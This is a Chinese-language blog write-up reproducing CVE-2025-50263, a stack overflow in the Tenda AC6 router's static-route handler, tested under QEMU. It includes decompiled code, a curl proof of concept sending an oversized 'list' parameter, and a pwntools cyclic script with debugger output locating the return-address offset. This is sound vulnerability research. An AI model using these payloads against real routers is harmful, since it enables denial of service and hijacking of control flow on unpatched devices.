CVE-2025-50263

前言

由于前两天搞了个tenda的路由器,刚好看到还同时存在的另一个缓冲区溢出漏洞,就一并分析了,qemu连接具体请看

https://hfddh666.github.io/2026/04/19/CVE-2025-25343%E5%A4%8D%E7%8E%B0/

漏洞报告

CNVD-ID CNVD-2025-15719
公开日期 2025-07-15
危害级别 高 (AV:N/AC:H/Au:N/C:C/I:C/A:C)
影响产品 Tenda AC6 15.03.05.16_multi
CVE ID CVE-2025-50263
漏洞描述 Tenda AC6是腾达推出的双频无线路由器。 Tenda AC6存在缓冲区溢出漏洞,该漏洞源于fromSetRouteStatic函数中list参数未能正确验证输入数据的长度大小,目前没有详细的漏洞细节提供。
漏洞类型 通用型漏洞
参考链接 https://github.com/faqiadegege/IoTVuln/blob/main/tendaAC6_SetStaticRouteCfg_list_overflow/detail.md
漏洞解决方案 目前厂商已发布升级程序修复该安全问题,详情见厂商官网: https://www.tenda.com.cn/product/help/AC6
厂商补丁 Tenda AC6 fromSetRouteStatic函数缓冲区溢出漏洞的补丁
验证信息 (暂无验证信息)
报送时间 2025-07-11
收录时间 2025-07-15
更新时间 2025-07-15
漏洞附件 (无附件)

漏洞分析

首先就是看启动文件,,是httpd,然后找到初始化文件,发现有个::sysinit:/etc_ro/init.d/rcS,这个是启动必须项,打开后发现有个cp -rf /webroot_ro/* /webroot/,所以在启动httpd时要提前运行这个,因为我们开启的只有webserver的服务,而那个文件时启动路由器的必须项,所以如果只是启动httpd的话会造成缺乏必要想导致文件无法完全运行,还有一个关键的时要记得patch上修改后的httpd,不然连接不上,具体原因看https://hfddh666.github.io/2026/04/19/CVE-2025-25343%E5%A4%8D%E7%8E%B0/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
[18:44:51] ~/桌面/CVE-2025-25343/_US_AC6V1.0BR_V15.03.05.16_multi_TD01.bin.extracted
$ find . -name "*httpd*"
./squashfs-root/qemu_httpd_20260419-042829_3951.core
./squashfs-root/bin/dhttpd
./squashfs-root/bin/httpd
[18:45:08] ~/桌面/CVE-2025-25343/_US_AC6V1.0BR_V15.03.05.16_multi_TD01.bin.extracted
$ find . -name "*init*"
./squashfs-root/var/webroot/goform/initSchedWifi.txt
./squashfs-root/init
./squashfs-root/webroot_ro/goform/initSchedWifi.txt
./squashfs-root/etc_ro/inittab
./squashfs-root/etc_ro/init.d
./squashfs-root/sbin/init
[18:45:22] ~/桌面/CVE-2025-25343/_US_AC6V1.0BR_V15.03.05.16_multi_TD01.bin.extracted
$ cat ./squashfs-root/etc_ro/inittab
::sysinit:/etc_ro/init.d/rcS
ttyS0::respawn:/sbin/sulogin
::ctrlaltdel:/bin/umount -a -r
::shutdown:/usr/sbin/wl leds 0
::shutdown:/usr/sbin/wl -i eth2 leds 0
::shutdown:/usr/sbin/usb led_off
[18:45:58] ~/桌面/CVE-2025-25343/_US_AC6V1.0BR_V15.03.05.16_multi_TD01.bin.extracted
$ cat ./squashfs-root/etc_ro//init.d/rcS
#! /bin/sh

PATH=/sbin:/bin:/usr/sbin:/usr/bin/
export PATH

mount -t ramfs none /var/


mkdir -p /var/etc
mkdir -p /var/media
mkdir -p /var/webroot
mkdir -p /var/etc/iproute
mkdir -p /var/run
cp -rf /etc_ro/* /etc/
cp -rf /webroot_ro/* /webroot/
mkdir -p /var/etc/upan
mount -a

mount -t ramfs /dev
mkdir /dev/pts
mount -t devpts devpts /dev/pts
mount -t tmpfs none /var/etc/upan -o size=2M
mdev -s
mkdir /var/run

echo '/sbin/mdev' > /proc/sys/kernel/hotplug
#echo 'sd[a-z][0-9] 0:0 0660 @/usr/sbin/autoUsb.sh $MDEV' >> /etc/mdev.conf
#echo 'sd[a-z] 0:0 0660 $/usr/sbin/DelUsb.sh $MDEV' >> /etc/mdev.conf
#echo 'lp[0-9] 0:0 0660 */usr/sbin/IppPrint.sh'>> /etc/mdev.conf
#wds rule start
echo 'wds*.* 0:0 0660 */etc/wds.sh $ACTION $INTERFACE' > /etc/mdev.conf
#wsd rule end
echo 'sd[a-z][0-9] 0:0 0660 @/usr/sbin/usb_up.sh $MDEV $DEVPATH' >> /etc/mdev.conf
echo '-sd[a-z] 0:0 0660 $/usr/sbin/usb_down.sh $MDEV $DEVPATH'>> /etc/mdev.conf
echo 'sd[a-z] 0:0 0660 @/usr/sbin/usb_up.sh $MDEV $DEVPATH'>> /etc/mdev.conf
echo '.* 0:0 0660 */usr/sbin/IppPrint.sh $ACTION $INTERFACE'>> /etc/mdev.conf
mkdir -p /var/ppp
insmod /lib/modules/fastnat.ko
insmod /lib/modules/bm.ko
#insmod /lib/modules/ai.ko
insmod /lib/modules/mac_filter.ko
#insmod /lib/modules/ip_mac_bind.ko
insmod /lib/modules/privilege_ip.ko
insmod /lib/modules/qos.ko
insmod /lib/modules/url_filter.ko
insmod /lib/modules/loadbalance.ko
#insmod /lib/modules/app_filter.ko
#insmod /lib/modules/port_filter.ko
#insmod /lib/modules/arp_fence.ko
#insmod /lib/modules/ddos_ip_fence.ko

insmod /lib/modules/fastnat_configure.ko
chmod +x /etc/mdev.conf

cfmd &
echo '' > /proc/sys/kernel/hotplug
udevd &
logserver &

tendaupload &

moniter &

[18:46:25] ~/桌面/CVE-2025-25343/_US_AC6V1.0BR_V15.03.05.16_multi_TD01.bin.extracted
$

然后就是分析漏洞函数,根据报告给的是fromSetRouteStatic函数存在溢出风险

fromSetRouteStatic

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int __fastcall fromSetRouteStatic(int a1)
{
int v1; // r0
char s[256]; // [sp+10h] [bp-114h] BYREF
int v5; // [sp+110h] [bp-14h]
int v6; // [sp+114h] [bp-10h]

memset(s, 0, sizeof(s));
v6 = 0;
v5 = sub_2B7C4(a1, "list", &unk_E2118); #这个是获得list参数的值,返回的是指针
v1 = sub_77EC8("adv.staticroute", v5, 126);
if ( CommitCfm(v1) )
{
sprintf(s, "advance_type=%d", 8);
send_msg_to_netctrl(5, s);
}
else
{
v6 = 1;
}
sub_2C144(
a1,
"HTTP/1.1 200 OK\nContent-type: text/plain; charset=utf-8\nPragma: no-cache\nCache-Control: no-cache\n\n");
sub_2C144(a1, "{\"errCode\":%d}", v6);
return sub_2C68C(a1, 200);
}
1
2
3
4
5
6
7
8
9
10
11
void *__fastcall sub_2B7C4(int a1, int a2, int a3)
{
int v6; // [sp+14h] [bp-10h]

v6 = sub_1F92C(*(_DWORD *)(a1 + 32), a2);
if ( !v6 )
return (void *)a3;
if ( (*(unsigned __int16 *)(v6 + 20) << 16) | *(unsigned __int16 *)(v6 + 18) )
return (void *)((*(unsigned __int16 *)(v6 + 20) << 16) | *(unsigned __int16 *)(v6 + 18));
return &unk_D85D0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
int __fastcall sub_77EC8(const char *a1, char *a2, unsigned __int8 a3)
{
int result; // r0
char v7[8]; // [sp+1Ch] [bp-1A0h] BYREF
_DWORD s1[4]; // [sp+24h] [bp-198h] BYREF
char v9[16]; // [sp+34h] [bp-188h] BYREF
char v10[16]; // [sp+44h] [bp-178h] BYREF
char v11[16]; // [sp+54h] [bp-168h] BYREF
char v12[256]; // [sp+64h] [bp-158h] BYREF
char s[64]; // [sp+164h] [bp-58h] BYREF
char *v14; // [sp+1A4h] [bp-18h]
int v15; // [sp+1A8h] [bp-14h]
char *v16; // [sp+1ACh] [bp-10h]

memset(s, 0, sizeof(s));
memset(v12, 0, sizeof(v12));
memset(s1, 0, sizeof(s1));
v15 = 0;
if ( strlen(a2) > 4 ) #我们要让a2通过这个条件从而执行sscanf
{
++v15;
v16 = a2;
while ( 1 )
{
v14 = strchr(v16, a3);
if ( !v14 )
break;
*v14++ = 0;
memset(s, 0, sizeof(s));
sprintf(s, "%s.list%d", a1, v15);
if ( sscanf(v16, "%[^,],%[^,],%[^,],%s", v11, v10, v9, s1) == 4 )
{
if ( !strcmp((const char *)s1, "WAN1") )
sprintf(v12, "%s;%s;%s;1;%s", v11, v10, v9, (const char *)s1);
else
sprintf(v12, "%s;%s;%s;2;%s", v11, v10, v9, (const char *)s1);
SetValue(s, v12);
}
v16 = v14;
++v15;
}
memset(s, 0, sizeof(s));
sprintf(s, "%s.list%d", a1, v15);
if ( sscanf(v16, "%[^,],%[^,],%[^,],%s", v11, v10, v9, s1) == 4 )
{
if ( !strcmp((const char *)s1, "WAN1") )
sprintf(v12, "%s;%s;%s;1;%s", v11, v10, v9, (const char *)s1);
else
sprintf(v12, "%s;%s;%s;2;%s", v11, v10, v9, (const char *)s1);
SetValue(s, v12);
}
sprintf(v7, "%d", v15);
sprintf(s, "%s.listnum", a1);
SetValue(s, v7);
memset(s, 0, sizeof(s));
sprintf(s, "%s.list%d", a1, ++v15);
result = GetValue(s, v12);
while ( v12[0] )
{
UnSetValue(s);
memset(s, 0, sizeof(s));
memset(v12, 0, sizeof(v12));
sprintf(s, "%s.list%d", a1, ++v15);
result = GetValue(s, v12);
}
}
else
{
memset(s, 0, sizeof(s));
sprintf(s, "%s.listnum", a1);
SetValue(s, "0");
memset(s, 0, sizeof(s));
memset(v12, 0, sizeof(v12));
sprintf(s, "%s.list%d", a1, ++v15);
result = GetValue(s, v12);
while ( v12[0] )
{
UnSetValue(s);
memset(s, 0, sizeof(s));
memset(v12, 0, sizeof(v12));
sprintf(s, "%s.list%d", a1, ++v15);
result = GetValue(s, v12);
}
}
return result;
}

这里详细说说sscanf(v16, "%[^,],%[^,],%[^,],%s", v11, v10, v9, s1)%[^,]这个指的是一直都数据直到遇到逗号,所有只要给出足够长的数据就可以造成溢出

然后追溯分析发现这个也是被包装成一个函数供sub_42240使用

1776683659407

然后看这个函数发现这个,也就是说当访问goform/SetStaticRouteCfg,就会执行这个函数

1
sub_16F24("SetStaticRouteCfg", fromSetRouteStatic);

poc编写与实现

有前面的分析,可以知道当访http://192.168.100.1/goform/SetStaticRouteCfg时会调动漏洞函数,然后带上list参数符合:长度>4并且远大于数据最大长度即可

poc

1
2
3
4
curl -X POST "http://192.168.29.129/goform/SetStaticRouteCfg" \
--data "list=$(python3 -c 'print("A"*2000)')" \
--verbose

最后也是成功了

以上是qemu用户态的测试,系统状态qemu详情看https://hfddh666.github.io/2026/04/19/CVE-2025-25343%E5%A4%8D%E7%8E%B0/,

原理是一样的

那要如何确定溢出字节呢

poc

1
2
3
4
5
6
import requests
from pwn import*
date=cyclic(2000)
url = "http://192.168.29.129/goform/SetStaticRouteCfg"
payload = {"list": date}
response = requests.post(url=url, data=payload, timeout=10)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Invalid address 0x64616170










───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ sp 0xfffef850 ◂— strbtvs r6, [r1], #-0x171 /* 0x64616171 */
01:0004│ 0xfffef854 ◂— strbtvs r6, [r1], #-0x172 /* 0x64616172 */
02:0008│ 0xfffef858 ◂— strbtvs r6, [r1], #-0x173 /* 0x64616173 */
03:000c│ 0xfffef85c ◂— strbtvs r6, [r1], #-0x174 /* 0x64616174 */
04:0010│ 0xfffef860 ◂— strbtvs r6, [r1], #-0x175 /* 0x64616175 */
05:0014│ 0xfffef864 ◂— strbtvs r6, [r1], #-0x176 /* 0x64616176 */
06:0018│ 0xfffef868 ◂— strbtvs r6, [r1], #-0x177 /* 0x64616177 */
07:001c│ 0xfffef86c ◂— strbtvs r6, [r1], #-0x178 /* 0x64616178 */
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► f 0 0x64616170
────────────────────────────────────────────────────────────────────────────────
pwndbg> cyclic -l 0x64616170
Finding cyclic pattern of 4 bytes: b'paad' (hex: 0x70616164)
Found at offset 360
pwndbg>